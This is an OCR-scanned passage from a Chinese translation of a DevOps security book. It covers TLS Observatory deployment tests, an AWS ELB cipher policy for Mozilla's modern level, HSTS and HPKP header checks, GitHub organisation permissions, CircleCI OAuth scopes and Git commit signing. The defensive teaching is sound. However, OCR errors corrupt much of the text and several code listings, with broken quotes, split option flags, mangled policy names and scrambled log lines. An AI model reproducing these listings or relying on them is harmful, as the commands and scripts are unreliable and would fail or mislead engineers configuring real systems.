在Analyzers这一段,该工具提供了符合 
Mozilla现代配置级别的修改建议。

-- Analyzers----  --------------
Measured level "non compliant" does not match target level "modern"
* Mozilla evaluation： non compliant
- for modern level: remove ciphersuites ECDHE-ECDSA-AES128-SHA, ECDHE- 

ECDSA-AES256-SHA
-for modern level： consider adding ciphers ECDHE-ECDSA-CHACHA20-POLY1305
- for modern level： remove protocols TLSvl, TLSvl.1
- for modern level： consider enabling OCSP stapling

这4段输出中的每一段都传递了关于配置的重要信息:

• Certificate这一段显示了终端实体的细节。你可以看到它对你的域有效,而且 

有效期只有3个月。

, Trust这一段告诉你，EE证书链接到ー个被Mozilla、Microsoft和Apple信任 

的CA。大多数从常见CA获得的证书对于任何ー种浏览器都是受信任的，但 

是也有可能碰到由不知名的CA签发的证书，它们只被一种浏览器信任。

• Ciphers Evaluation这一段按优先顺序列出了服务器接受的密码套件。这份清 

单很小,但如果你使用了 RSA证书,这份清单就会大很多，而ECDSA证书 

是比较新的，因此支持它们的密码套件要少ー些。注意，在这段输出的末尾, 

Server Side Ordering标志设置成了 true，这表示服务器会强制按照 
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它自己的优先顺序来使用密码套件,而不会考虑客户端的优先顺序。评估结 

果还在pfs ー栏里告诉你,哪些密码支持完美前向保密。

,在Analyzers这一段里，该工具提供了符合Mozilla现代配置级别的修改建议。 

可以看到有些密码套件应该被删除，有些缺少的套件需要补充。不推荐使用 

TLSvl和TLSvl.l,应该只保留TLSvl.2。总的来说，评估工具认为当前的 

设置不符合Mozilla指南。

通过调用tlsobs客户端，并自动根据Mozilla指南对发票应用端点执行评 

估，将它作为部署测试，这种方法是行得通的，也是更可取的。将该命令包装成一个 

bash脚本，并放在在第4章中配置的部署器的deploymentTests目录下即可。tlsobs 
客户端支持ー个名为ーtargetLevel的选项，指定按照某个Mozilla配置级别进 

行评估。将该选项设置为Modern, tlsobs就会根据指示按照现代配置级别对目 

标进行验证。

代码清单5.13由部署器执行的评估HTTPS质量的测试

#!/usr/bin/env bash
go get -u ***.com/mozilla/tls-observatory/tlsobs
$GOPATH/bin/tlsobs -r -targetLevel modern ***.securing-devops.com

和预期的一样,在对终端节点配置进行现代化改造之前，测试都会失败，部署 

器的日志中包含了代码清单5.12中的tlsobs的全部输出。在Circle口中，可以通 

过触发一次发票应用的构建并查看部署器日志来进行验证。

代码清单5.14因为不支持HTTPS,测试会报错并退出

2016/08/14 15:35:17 Received webhook notification
2016/08/14 15:35
2016/08/14 15:35
2016/08/14 15:35 
exit status 1

17 Verified notification authenticity
17 Executing test /app/deploymentTests/2-ModernTLS.sh
32 Test /app/deploymentTests/ModernTLS.sh failed： 

[...]
-- Analyzers ----
Measured level "non compliant" does not match target level "modern"
* Mozilla evaluation： non compliant

测试基础设施现在准备就绪，我们继续完成终端节点的现代化改造。
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5.4.2实施Mozilla现代指南
在发票应用上开启HTTPS就意味着已经完成了安全终端节点90%的工作。如 

果要把它调整到Mozilla现代级别，那么就需要创建一个只启用了选定的参数的新 

配置，以此代替AWS自动提供的默认配置：只有TLS 1.2版是激活的,而且激活的 

密码套件数量必须降到最低。AWS只支持有限的ー组参数,你要从中加以选择（链 

接 5.12）。

注意这里呈现的配置在本书撰写时是最新的，但这些配置很有可能会随着时间 

推移而发生变化，因为Mozilla在不断地更新指南,而AWS也会支持越来越多的密码. 

你在配置终端节点时一定要参考本书提供的链接，并始终采用最新版本的建议。

将新的配置命名为MozillaModernV4o代码清单5.15展示了如何使用命令 

行来创建这份配置。

代码清单5.15创建匹配Mozilla现代级别的自定义负载均衡器策略

$ aws elb create-load-balancer-policy
- -load-balancer-name awseb-e-c-AWSEBLoa-1VXVTQLSGGMG5
- -policy-name Mozi 11 aModemV4
- -policy-type-name SSLNegotiationPolicyType
- -policy-attributes AttributeName=Protocol-TLSvl.2,AttributeValue=true
AttributeName=ECDHE-ECDSA-AES256-GCM-SHA384,AttributeValue=true
AttributeName=ECDHE-ECDSA-AES128-GCM-SHA256,AttributeValue=true
AttributeName=ECDHE-ECDSA-AES256-SHA384,AttributeValue=true 
AttributeName=ECDHE-ECDSA-AES128-SHA256,AttributeValue=true 
AttributeName=Server-Defined-Cipher-Order,AttributeValue=true

下ー步是把这个新创建的策略分配给ELB,方法是将ELB从使用AWS默认策 

略 ELBSecurityPoiicy-2015-05 切换到使用 MozillaModemV4〇

代码清单5.16将策略MozillaModernV4分配给发票应用ELB

$ aws elb set-load-balancer-policies-of-listener
- -load-balancer-name awseb-e-c-AWSEBLoa-1VXVTQLSGGMG5
--load-balancer-port 443
- -policy-names MozillaModernV4

在完成这次修改后，你可以触发发票应用的重新构建，在部署器日志中确认 

ELB通过了合规测试。现在，配置的级别评测结果为现代级别，所以部署器会继续 

触发发票应用基础设施的更新工作。
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代码淸单5.17日志显示发票应用ELB通过了现代级别的TLS配置测试

2016/08/14
2016/08/14
2016/08/14
2016/08/14

16:42:46
16:42:46
16:42:46
16:42:49

Received webhook notification
Verified notification authenticity
Executing test /app/deploymentTests/2-ModernTLS.sh 
Test /app/deploymentTests/ModernTLS.sh succeeded：

Scanning ***.securing-devops.com (id 12123107)
[...]

-- Analyzers ----
* Mozilla evaluation： modern 

2016/08/14 16:42:51 Deploying EBS application： {
ApplicationName： "invoicer201605211320n,
EnvironmentId： "e-curu6awketM,
VersionLabel ： 11 invoicer-api 

)

你还可以使用Observatory的Web界面来检查配置的质量。图5.8显示了链接 

5.13被扫描器评为现代级别。

TLS Observatory

图5.8链接5.14的扫描摘要显示,发票应用的TLS终端节点被评测为符合Mozilla现代化指南 
的要求。

配置TLS的协议层是在服务上启用HTTPS的重头戏，但我在本章开头还提 

到，有些控制必须放在HTTP层以此来提升HTTPS的安全性。这些控制就是HTTP 
严格传输安全(HSTS, HTTP Strict Transport Security)和公钥固定(HPKP, HTTP 
Public Key Pinning)〇在接下来的几节里，我将介绍这两种控制，以及如何在发票应 

用上实现它们。

5.4.3 HSTS ：严格传输安全
一旦服务被完全配置为使用HTTPS,就不应该有任何理由还保留着不安全的
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HTTPo对浏览器来说,知道一个网站应该总是通过HTTPS访问是很有用的信息, 

这能帮助浏览器防止降级攻击（强制用户连接到不安全的网站版本来盗取cookie或 

者注入欺诈流量）。HTTP严格传输安全（HSTS）是服务器发给浏览器的ー个HTTP 
标头,告知浏览器始终强制使用HTTPS。浏览器将HSTS信息在本地缓存一段时间， 

这期间所有该网站的连接都会使用HTTPS〇

HSTS还有一个很有趣的属性,即使在没有明确要求浏览器使用HTTPS时,比 

如，当用户在输入的网站地址中没有特别指明https:〃处理器的时候也可以强制浏览 

器使用HTTPS〇这个小小的好处取代了将用户重定向到HTTPS的HTTP监听器， 

但这只对那些已经访问过网站的用户有效。

HSTS标头由三部分组成，如代码清单5.18所示。

• max-age一表示该信息在浏览器缓存中保留的时间，以秒为单位。

• includeSubDomains——告知浏览器对当前域及它的所有子域强制使用 

HTTPS〇

• preload一表明运营商有意将它们的网站加入HSTS预加载清单。如果这 

个设置存在,运营商可以请求将域加入一份清单，Firefox> Chrome, Internet 
Explorer, Opera和Safari只会通过HTTPS来连接这份清单中的网站。Google 
Chrome团队维护着这份申请表（链接5.15）。网站必须满足一些前提条件オ 

能加入预加载清单，包括为整个域（不仅仅是子域）提供HSTS,或者max-age 
的值至少要达到18周。

代码清单5.18 ー个 max-age设置为一年的HSTS标头示例

Strict-Transport-Security： max-age=31536000； includeSubDomains； preload

HSTS标头的语法很简单,很容易就能加到新的应用里。对于那些拥有很多资 

源和子域的遗留网站来说,运营人员在使用这个标头时要十分小心,ー开始不要设 

置includeSubDomains ,并将max-age设置为几秒。只有在评估完HSTS对 

网站造成的影响之后，运营人员オ可以使用上面这个标头。一旦标头被发送出去， 

并且当用户将它缓存到他们的浏览器之后,就没有回头路了。你就全心全意地使用 

HTTPS 吧!

测试HSTS很简单：因为标头的值是静态的，你可以在部署时进行比较。代码 

清单5.19中的脚本将在部署器中完成比较。



5.4现代化HTTPS 149

代码清单5.19对发票应用HSTS标头的值进行校验的测试脚本

#!/bin/bash
EXPECTEDHSTS= MStrict-Transport-Security： max-age=31536000； includeSubDomains； 

preload"
SITEHSTS="$(curl -si https：//invoicer.***.com/ | grep Strict- 

Transport -Security I tr -d '\r\n')"

if [ H${SITEHSTS}H == "${EXPECTEDHSTS)" ]; then
echo "HSTS header matches expectation"
exit 0 

else
echo "Expected HSTS header not found"
echo »Found： »${SITEHSTS} • ••
echo "Expected: '${EXPECTEDHSTS},"
exit 100 

fi

5.4.4 HPKP :公钥固定
pki生态的一个弱点是:数量众多的证书颁发机构可以为地球上的任何一个网 

站签发受信证书。想象一下,当你尝试使用Google或Twitter与你的同事交流时 ， 

却发现你的连接被ー个“流氓”证书颁发机构劫持了,它给Google和Twitter签发 

的证书是欺诈性的,但却是受信任的。很不幸，这种情况确实发生了,并且将人们 

置于了风险之中。

Mozilla, Microsoft和Apple运行着各自的根CA项目，在这些项目中，它们维 

护着ー份证书颁发机构清单,这些机构得到信任，能够颁发中间人证书和终端实体 

证书。它们尽最大的努力在第一时间将行为不端的CA或者成为被攻击的受害者的 

CA列入黑名单。但是Firefox受信存储区里有超过150个CA,想要跟踪每一个CA 
的行为是十分困难的。

Web浏览器无法得知一个运营商信任哪些CA,因此必须接受它们的受信存储 

区里的所有CA签发的所有证书。HTTP公钥固定（HPKP）机制针对这个问题提供 

了一个解决方案,它允许运营商说明在给定网站上打算使用哪个CA,包括中间人 

和终端实体。

和HSTS类似,HPKP也是发送到浏览器并缓存一定时间的标头。该标头包含 

了允许保护网站的证书哈希。如果一个开启了 HPKP的网站的用户成为试图劫持其 

连接的欺诈CA的受害者，那么浏览器会利用缓存的HPKP信息检测岀欺诈CA没 

有权限为该网站签发证书,并将错误展示给用户。

HPKP标头有4个参数,构造起来稍微有些麻烦:

・max-age是时间,以秒为单位,Web浏览器要记住:该网站只能使用定义好 
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的密钥之ー来访问。

• pin-sha256是当前网站信任证书的公钥的Base64哈希。标头中必须包括 

至少两个pin-sha256 ：ー个是首选,另ー个是备选。

, includeSubDomains表示当前域的所有子域都应该应用HPKP策略。

• report-uri是ー个可选的终端节点，浏览器应该把这个策略的违规行为发 

给它。只有部分浏览器支持这个特性。

HPKP的核心是pin-sha256值，它代表网站信任哪些证书。对那些变化相 

对频繁的证书来说,比如为发票应用生成的Let's Encrypt证书,我建议固定中间人 

CA,而不是固定终端实体。如果你决定停止使用Let's Encrypt,你还需要提供一个 

备选pin码。在这个例子里，你可以将备选设置成AWSCA。

从证书中提取公钥并使用SHA256算法来计算哈希,然后使用Base64编码就得 

到了该证书的pin-sha256值。代码清单5.20展示了如何在Let's Encrypt中间人 

证书上的ー个命令中执行此操作。

代码清单5.20生成Let,s Encrypt中间人的pin-sha256值

I获取PEM编码的证书。 提取出RSA公钥。

'---- ► $ curl -s https：//***.org/certs/lets-encrypt-x3-cross-signed.pem
I openssi x509 -pubkey -noout v----------------------------------------- --
openssl rsa -pubin -outform der 
openssl dgst -sha256 -binary 
openssl enc -base64 ◄----

I将RSA转换成DER格式。

计算RSA密钥的 
SHA256 哈希。

I--- ► YLhldUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=
I显示pin-sha256值。 将哈希用Base64编码。

你可以对AWS的中间人证书（链接5.16）进行同样的计算,将计算得到的两个 

值加到发票应用的HPKP标头里（见middleware.go文件中的setResponseHeaders 
方法）,该标头的值如代码清单5.21所示。

代码清单5.21允许来自しet's Encrypt和AWS CA证书的HPKP标头

Public-Key-Pins： max-age=1296000； includeSubDomains； pin-sha256=nYLhldUR9y6Kj 
a30RrAn7JKnbQG/uEtLMkBgFF2Fuihg="； pin-sha256=" ++MBgDH5WGvL9Bcn5Be3 OcRcL 
0f50+NyoXuWtQdXlaI="

和测试HSTS ー样,你可以在部署器中使用脚本来对比HPKP标头的值和静态 

设置的参考值。代码清单5.22中的脚本执行了简单的字符串对比,以检验期望的 

HPKP值是否存在。
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代码清单5.22检验发票应用HPKP标头的值的测试脚本

#!/bin/bash
EXPECTEDHPKP='Public-Key-Pins： max-age=1296000; includeSubDomains; pin-sha256

="YLhldUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg="; pin-sha256=" + +MBgDH5WGv 
L9Bcn5Be30cRcL0f5O+NyoXuWtQdXlaI=»•

SITEHPKP="$(curl -si https：//invoicer.***.com/ |grep Public-Key- 
Pins I tr -d •\r\n' )n

if [ “${SエTEHPKP}" == •,${EXPECTEDHPKP}" ] ; then
echo "HSTS header matches expectationH
exit 0 

else
echo "Expected HSTS header not found"
echo "Found: *${SITEHPKP}'"
echo "Expected： '${EXPECTEDHPKP},"
exit 100 

fi

你还可以在Firefox开发者工具中检查HSTS和HPKP是否被激活，就在网络部 

分的安全选项卡下面。图5.9显示发票应用公开网站的HSTS和HPKP都被启用了。

图5.9 HSTS和HPKP在Firefox开发者工具中显示被启用了,证明了在发票应用的公开页面上 
这些标头是被激活的。

我们的HTTPS之旅在这里画上了句号。关于让互联网成为贸易和通信的安全 

场所的协议还有很多内容可以介绍，我强烈建议读者去了解TLS的最新进展。无论 

你是运维人员、开发人员,还是安全专家,你总会在某个时间和TLS与HTTPS打 

交道。保持对强大的通信安全的最新理解，将有助于你为用户运营更好的服务。
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5.5本章小结

• TLS保证了客户端与服务器之间连接的机密性、完整性和真实性。

• 服务器使用由证书颁发机构签名的X.509安全证书来向客户端证明它们的身 

份。

・ TLS通信使用在握手过程中协商的密码套件来保护传输的数据。

• 要获取站点的受信证书,需要证明运营商拥有网站所托管的域。

・ HTTPS服务器默认启用的安全参数可能提供不了足够的安全性,必须使用测 

试工具来改进配置。

• HSTS是ー个HTTP标头，它向Web浏览器表明网站必须始终通过HTTPS访 

问。

• HPKP是ー个HTTP标头，它向Web浏览器表明只有白名单上的证书オ会得 

到信任，可以为指定的网站签发安全证书。



第四层安全性:

保护交付流水线

本章内容包括

■ 在GitHub和Circled中控制授予用户和第三方
的权限

・ 使用Git提交和tag签名以保护源代码不被修改
■ 管理Docker Hub上的权限
■ 管理AWS中的部署权限
・ 在AWS中安全地分发配置密码

到目前为止,我们谈论的都是当服务运行在生产环境中时如何去保护它们。本 

章我们将视线转向另外一些基础设施,它们从开发人员那里得到代码并将其带到生 

产环境中。持续集成和持续交付是缩短开发周期的优秀工具，但是它们也会带来安 

全隐患。其主要问题是，对于代码的托管、测试、构建及发布，它们对第三方服务 

产生了越来越多的依赖,这就为错误的配置打开了大门,而错误配置会留给攻击者 

控制应用代码的机会。我们将讨论如何防止代码和配置在流水线的传输中发生更改， 

这条流水线始于开发人员的计算机，终于云。我们的目标是：确保运行在生产环境 

基础设施中的代码就是开发人员在编写应用时打算运行的代码。

在过去的传统运维里,对外部服务的依赖通常是不被待见的。开发人员和运维 

人员让他们的基础设施与世隔绝，依靠网络分区来保护组件。这种隔离方法的问题 

在于引入新组件时的复杂性，而这些组件能让开发人员和运维人员更舒适，让开发 

周期更短。在封闭固定的基础设施内构建一条快速的交付流水线是完全可行的，只 

是这样做的成本太高，而愿意预支这些成本的组织又太少。因此,新兴的技术公司 

一般更喜欢依靠第三方来构建流水线，而成熟的企业更愿意将这些组件带回内部。
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你可能要根据所处的环境来选择不同的方式。

我们围绕外部组件来构建流水线的原因是为了呈现这种架构的灵活性:组件可 

以随意替换。如果想把代码仓库换到另ー个平台的话，只需要迁移webhook就可以 

了。没有什么是一成不变的，随着新服务的出现,任何组件都可以被替换掉。

和所有组件都被封闭在防火墙层后面的内部模型相比,外包出去的DevOps流 

水线的安全性往往要更低一些。许多服务的主要问题是缺乏默认配置的安全性,这 

些默认配置的目的大多是帮助新用户快速上手。遗憾的是，这种组件拥有过高权限 

的情况太常见了，这些权限远远超出了它们被设计用来执行的任务的需要。一旦出 

现这种情况，安全性就会受到损害:流水线的组件不但在互联网上被公开,而且它 

们还拥有过多的权限，而这些权限一旦被盗用，整条DevOps流水线的完整性就会 

受到威胁。

这一章我们将要讨论的安全策略从依靠网络隔离来保护组件的模型,变成了依 

靠访问控制来保护流水线的模型，内容包括如何通过管理这些控制以获得高安全性 。 

我们需要审视并改进以下三个方面的访问控制:

•开发人员、GitHub及Circle。之间的代码管理与发布。

, Docker Hub上的容器存储。

• AWS中的基础设施管理。

图6.1展示了这三个方面,以及每个方面的访问控制类型，我们将在本章讨论 

这些访问控制。保护好每个方面，开发人员就能保证他们编写的代码可以被原封不 

动地发布，从而为组织的客户提供服务。

容器存储代码管理 基础设施管理

图6.1流水线组件之间的交互被层层的访问控制所保护，这些访问控制允许或拒绝特定用户执 
行操作，并保护从开发人员那里转移到生产基础设施上的代码。

首先是GitHub和Circled,你将了解：

• 如何管理用户与权限。

• 如何使用OAuth范围将部分权限授予Circled«
• 如何降低被盗账户对应用的影响，以及Git提交与tag签名如何能够防止被意
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外修改。

对于Docker Hub来说，或对于更笼统的Docker来说,你将了解：

• 如何管理授予Circled上传容器新版本镜像的权限。

• 如何对Circled产生的容器镜像签名，并防止欺诈性的Docker Hub推送被视 

为可信赖的。

最后，在讲到AWS时，你将了解到以下关键的两点:

• 如何将部署器使用的权限降到最低,只用控制托管发票应用的AWS服务（EB） 
即可。这个任务将带你快速领略AWS强大而复杂的访问控制。

• 如何将密码分发给托管在AWS里的应用。你的这个发票应用没有过多地使 

用密码,用环境变量来获取密码就够了,但复杂的服务通常需要一些方法来 

安全地分发复杂的配置文件。我们将介绍两种解决方案一HashiCorp Vault 
和Mozilla Sops,它们分别使用了不同的方式来解决密码分发问题。

权限、凭证和密码

在这一章我会经常用到三个术语:权限、凭证及密码，你可能会混淆它们 

的含义，所以我们先对它们的定义达成一致：

• 权限或者特权，是定义了授予某个用户（人或者机器）的ー组操作 例如, 

你将授予用户Sam管理发票应用GitHub仓库的权限
• 凭证是可以证明一个用户身份或资质的信息把它想象成一枚警徽或者 

ー个医学学位:将你的凭证展示给第三方来证明你的身份。在计算机世 

界里,我们通常用术语凭证来指代在对服务进行身份验证时所用到的访 

问密钥。

• 密码比凭证更通用,它代表ー些信息,个人或者程序用这些信息来执行 

它们仅能执行的操作用来加密和解密数据的加密密钥就是ー个密码的 

例子。

在计算机世界里，凭证通常就是密码，因为公开它们就会允许第三方复用 

它们。但对于警徽来说，就不是这样，你可以安全地展示给任何人,只要它没 

有被他人盗取。

6.1 代码管理基础设施的访问控制

图6.2展示了代码管理基础设施,它在DevOps流水线中是一种常见的模式: 

开发人员使用代码仓库（最流行的就是GitHub）来托管应用的源代码并和同事协 
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作。代码仓库会和CircleCI、Travis CI或Jenkins这样的自动化构建工具集成在ー 

起，在每次源代码发生变化的时候,这些工具就会执行ー些任务,来测试代码及 

构建应用容器。

图6.2代码管理基础设施由开发人员组成，他们在GitHub中发布代码，并在CircleCI中运行自 
动化测试和构建。每个组件都提供了访问控制，必须使用这些控制来提升流水线的安全性。

这种类型的基础设施可能会遇到许多关于访问控制方面的问题：

・ 欺诈性用户可能会利用宽松的权限访问代码仓库,并在应用中植入恶意代码。

• 如果将修改代码的权限授予给安全性较低的服务,那么当这些服务被破坏时 

就会对应用造成伤害。

• 开发人员可能会弄丢他们的凭证并被攻击者获得，攻击者就会使用其账户来 

对代码进行修改。

通过更严格的访问控制可以降低对这些问题的担忧。首先,我们将仔细研究 

Gi田ub是如何在组织内部管理用户和团队安全的,以此降低欺诈性用户获得敏感代 

码访问权限的风险。然后，我们将深入研究GitHub与CircleCI之间的权限授予,并 

讨论审批和审查第三方授权的技术。最后，我们将评估对Git提交和tag进行签名 

的好处,这种方法无须依靠第三方就可以验证源代码的完整性。

6.1.1管理GitHub组织中的权限
GitHub组织是ー个逻辑实体,它包括仓库和可以访问这些仓库的团队。大多数 

项目在发展到具有一定数量的开发者之后,就会创建一个组织来帮助管理仓库和权 

限。在ー个组织内部,GitHub支持的用户权限类型有三种：



6.1代码管理基础设施的访问控制 157

• 负责人(Owner)有最高的权限级别，它被授予了该组织完整的管理员访问 

权限，如图6.3所示。在默认情况下,负责人可以访问所有仓库,包括公开 

的和私有的。

・ 成员(Member)是组织用户的标准权限级别。它被授予的权限足够成员执行 

日常任务,但不允许其访问敏感区域。同时，在默认情况下，成员不能访问 

私有仓库,并且必须直接或者通过团队授予他权限オ行。

• 外部贡献者(Outside Contributor )是剩下的无法访问组织的用户。你可以为 

每个仓库添加外部贡献者,授予他们读、写或者管理的权限,而不需要将组 

织的全局访问权限授予他们。

「Securing-DevOps

Repositories 9 M People i Teams 2 M Projects o 0 Settings

As an owner, jvehent has admin access to all repositories that belong to the Securing-DevOps

3K i” Owner
Ju hen Vehent [:ultr]

图6.3在GitHub上的Securing-DevOps组织里,本书的作者的权限定为该组织的负责人，他 
被授予了组织中所有仓库的管理权限。

hlnnsQt* ucce*B

hUnBQe accMit

GitHub组织里的用户管理十分简单：创建团队,将人员加到团队中,并将代码 

仓库的读、写或者管理的权限授予这些团队。管理权限时要遵守如下规则:

・负责人越少越好。负责人拥有无限的权カ,这些权限应该只被授予给特定的 

个人。

・在组织层面要求多因子验证(MFA, Multifactor Authentication)»我们在第4 

章讨论过，密码总有丢失或被盗的倾向，而MFA是ー种能为组织建立第二 

层安全性的不错方式。GitHub提供了一种强制每位组织成员提供双因子验证 

的方法,并通过组织设置中的一个首选项来实现,如图6.4所示。



158 6第四层安全性:保护交付流水线

•定期对组织成员进行审计,移除那些已经退出或者长期不活跃的用户。这可 

能需要编写脚本来调用GitHub API,将组织成员与本地用户数据库进行比对 

校验。Userplex就是ー个实现了这种功能的工具,它通过将GitHub组织的成 

员与本地LDAP组同步来实现这个功能（链接6.1）。如果你已经有了一份 

LDAP的雇员清单（大多数公司都是如此）,那么这是ー种很可靠的方法。

「Securing-DevOps

Repositoiios 9 ロ People 1

Organization settings

Profile

Member privileges

Billing

Security

Audit log

Teams 2 Projects o 〇 Settings

Two-factor authentication

Requiring an additional authentication method adds another level of security for your organization

Require two*factor authentication lor everyone In the Securing-DevOps organization.
and xU心 c。11.3wh。d。nm have Mu MUm JUl版同icahon enabled kx Ihotr personal 

account will be removed irom the organization and will receive an email notifying them about the change

图6.4可以利用组织的设置来要求所有成员开启账户的双因子验证。

注意 特定的团队命名法通常难以执行，因为DevOps组织鼓励有机地形成基 

于任务的团队试图去强加某个特定的模式可能会妨碍有价值的生产カ需求。相反, 

安全团队应该将重点放在保护对组织的访问和对访问的定期审计上,然后让开发人 

员和运维人员在组织内部创建自己的团队和权限 。

GitHub安全性的另ー个重要方面是第三方的授权管理,我们将在下面的内容中 

加以讨论。

6.1.2 管理GitHub和Circled之间的权限
要理解GitHub里的第三方授权，我们首先需要讨论OAuth2授权框架。在第3 

章我们介绍过无须存储密码就能对用户进行身份验证的方法,当时提到过OAuth2, 
但是跳过了权限管理的部分。OAuth使用“范围”的概念来表示授予应用的权限。

范围（scope）是用于授予第三方的权限清单。这些权限允许第三方以用户的名 

义执行操作。在第3章介绍OAuth舞蹈时,我简略地提到了授权。让我们回忆一下 

并再次演练一遍，这一次我们将用上GitHub和Circled ：

1. Sam是一位开发者,她希望使用GitHub凭证登录Circle。。

2. Circled 向 Sam 展示了一个 Log In with GitHub （使用 GitHub 登录）的按钮， 

Sam点击了这个按钮。

3. Sam被重定向到GitHub ,并得到了这样的授权请求提示:**Circled would 
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like to access your GitHub account, do you want to authorize access? （CircleCI 
想要访问你的GitHub账户,你想要授权访问吗？ゾGitHub还会展示 

CircleCI请求的权限:对个人用户数据的访问权限，以及对所有公开和私有 

仓库的读/写权限。授权提示如图6.5所示。

4. Sam点击Authorize （授权）按钮表示同意,然后GitHub将她重定向回 

CircleCI,并带上了授权码，该授权码可供CircleCI访问账户使用。

5. CircleCI对授权码进行校验,并对Sam进行身份验证。

Authorize application
Circle by @circleci would like permission to 
access your account

Review permissions

Personal user data
Email addresses (read-only)

[j \ Repositories

w Public and private

Authorize application

图6.5 GitHub授权页面提示Sam将授予CircleCI所有仓库的访问权限。

这里的关键步骤显然是第三步，在这ー步中，Sam将许多权限授予了 Circle。。 

这就是OAuth所谓的“范围”。在HTTP层面,当CircleC!将Sam重定向到GitHub 
进行授权时，它将她跳转到了如下地址。

代码清单6.1 CircleCI oauth重定向到GitHub

GitHub oauth 验证终 
端节点的地址。 完成GitHub验证之后,用 

户被重定向到URL。

https：//***.com/login/oauth/authorize?client_id=78a2bb 
&redirect_uri=https：//***.com/auth/github?return-to=%2F
&scope=repox user：email ◄— 
&state=-lLihwQWDoFd

CircleCI请求的权限范围。
]CSRF token 〇
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你可能还记得我们在第3章介绍过的client_id、redirect_uri, scope 
和state字段。仔细看看scope字段和它的值：repo, user :emailo请求的 

范围清单用逗号隔开,CircleCI请求访问repo和user : email。GitHub文档告诉 

我们这些范围的相关信息:user:email授予对用户邮件地址的访问权限。对于公 

有和私有仓库及组织，rep。则授予对代码、提交状态、仓库邀请、协作者及部署 

状态的读/写权限（链接6.2）。

当登录到CircleCI后，Sam将把一组权限授予给Circled,允许Circle。完全 

控制她的仓库。如果CircleC!保存的oauth token遭到泄露，攻击者就可以用token 
控制，并修改Sam在GitHub上的应用。这显然是很令人担忧的。

就目前所知，CircleCI没有理由写入代码，那么为什么还要对Sam账户请求这么 

多权限呢？通常，这样做的原因有两个:要么身份提供商不支持细粒度的权限控制, 

要么应用想为该用户做更多的事情。对于集成了 OAuth的应用来说,拥有远超应用所 

需或者用户放心授权的权限的情况太常见了。应该对这些集成进行人工审计，并检查 

它们是否会给安全带来风险,例如，将敏感的权限授予了不能被信任的第三方。

GitHub和CircleC!之间的权限
GitHub提供了细粒度的权限范围，比如用于创建webhook的write:re- 

po_hook和用于创建SSH部署密钥的write :public_key,这些应该能满 

是Circled的需要。我们可以假设CircleCI为了能帮用户做更多的事情而请求 

更多的权限 CircleCI使用更大的rep。范围从GitHub读取权限，并根据成员 

的GitHub权限来决定谁可以修改CircleC!项目
在为你的组织启用权限之后,只有Gi田ub仓库管理员或GitHub负责人才 

能修改CircleCI的项目设置。对于大型团队来说，这能有效保证项目设置只能 

被拥有管理员权限的团队成员所修改，

实际上,CircleCI使用oauth ,不只是为了登录用户及代表他们创建 

webhook，它还使用oauth来确定Sam都有哪些和这个仓库有关的权限。如果 

Sam是管理员或者拥有仓库的写入权限，她就能够修改CircleC!上的项目设置ユ 

这是ー个很强大的功能,因为它将权限管理集中在了 GitHub里,从而不用在 

CircleCI中额外创建一层管理。

从安全性的角度看,在管理GitHub和第三方之间的集成时，我们要采取一些 

预防措施:

•确保被授权的那些用户不是组织的负责人,而是权限有限的常规用户。这样 
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做起码能保证当用户token被第三方泄露时,只有该用户可以写入权限的那 

些仓库会遭受损害。

•建立被授权的第三方的白名单。Gi田ub可以限制部分应用向组织成员请求 

OAuth token0如图6,6所示,当该设置生效时,第三方应用默认是被拦截的。 

任何组织成员都可以请求将某个应用加入白名单，但是需要组织负责人批准 

该请求。这就保证了组织管理者有机会对第三方应用进行审查,并将访问权 

限只授予那些他们信得过的应用。

•如果第三方集成只有部分应用需要，并且会给其他应用带来风险,那么应该 

考虑将GitHub组织拆分，以便把敏感应用划分出去。

卜 Securing-DevOps

Repositories 9 U People 1 Teams 2 シ Projeote 0 0 Settings

Organization settings

PraNte

Member privileges

Billing

Security

Audit log

Blocked users

Webhooks

Third-party access

Policy. Access restricted ✓

Third-party application access policy

@ When authorized, app&canons can ac* on behatt ol organization member Your access policy determines wh»ch 
^plications can access data in your orgarnzabon. Read more about thtrd-party access and oiganirabons.

图6.6在允许组织成员将权限授予第三方应用之前,GitHub可以要求组织负责人进行审批。在 
这个示例中，Circle。通过了审批,并成为受信任的第三方。

这三种技术可以有效地降低由于组织成员访问token而被第三方泄露所带来的 

风险,但我们还是需要信任这些权カ巨大的第三方。由于OAuth授权机制的不透明 

性，使得审计第三方如何使用这些权限变得十分困难。

我们可以要求开发者使用保存在他们机器上的密钥来对他们的工作进行签名， 

以此建立一层额外的安全性。这是下ー小节讨论的主题。

6.1.3用Git对提交和tag签名
如果仓库的访问权限被盗用,攻击者可以神不知鬼不觉地将欺诈性源代码植入 

到应用中。GitHub提供了一些功能来防止这种情况出现，比如分支保护,它能限制 

ー些敏感操作只能在仓库中的特定的分支上执行。这些功能很有效,我们应该启用 

它们。但是取得GitHub访问权限的攻击者也能够禁用这些控制，所以我们还需要 
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另ー层不依赖GitHub访问控制的保护。Git签名就能提供这样ー层额外的保护。

Git是ー个强大的版本控制系统，它提供了许多功能来鉴别随着时间的推移对 

存储库所做的更改。其中就有一个特别的功能将有助于保证源代码的真实性：通过 

PGP对提交和tag签名。Git中的签名概念可以将加密签名应用到每ー个补丁或者 

tag上,而签名使用的是由开发者秘密保管的密钥。

PGP、OpenPGP 与 GnuPG
PGP，也就是优良保密协议(Pretty-Good Privacy )，是一个旨在使用公钥或 

者私钥(通常是RSA，我们在第5章中讨论过)对消息进行签名和加密的密码 

协议。

OpenPGP是PGP的标准化,而GnuPG是实现了 OpenPGP的开源客户端。 

另外一些工具也实现了 OpenPGP,例如Golang库crypto/openpgp,还有 

PHP 库 openpgp-phpo
GnuPG的命令行名为gpg,并且可以在大部分操作系统的包管理器中找到， 

Git用它来完成签名操作。

启用Git签名很简单。首先,每个开发人员需要一个PGP密钥,可以在本地机 

器上使用gpg --gen-key生成。该密钥被安全地存放在开发人员的机器上,用 

其指纹(fingerprint)表示。在配置Git对提交和tag签名的时候,告诉它使用由其 

指纹代表的PGP密钥。代码清单6.2展示了这些命令的步骤。

代码清单6.2生成用于配置Git对提交和tag签名的PGP密钥

$ gpg --gen-key <
1生成一对新密钥。

$ gpg --f ingerprint sam@securing-devops.com 
pub 2048R/3B763E8F 2013-04-30

uid
sub

$ git

Key fingerprint = CA84 A9EB BE8A AD3E 3B76 8B35 
Sam <sam@securing-devops.com>

2048R/4134B39A 2016-10-30

config

I获取签名指纹。

配置Git，让它使用该密钥签名。

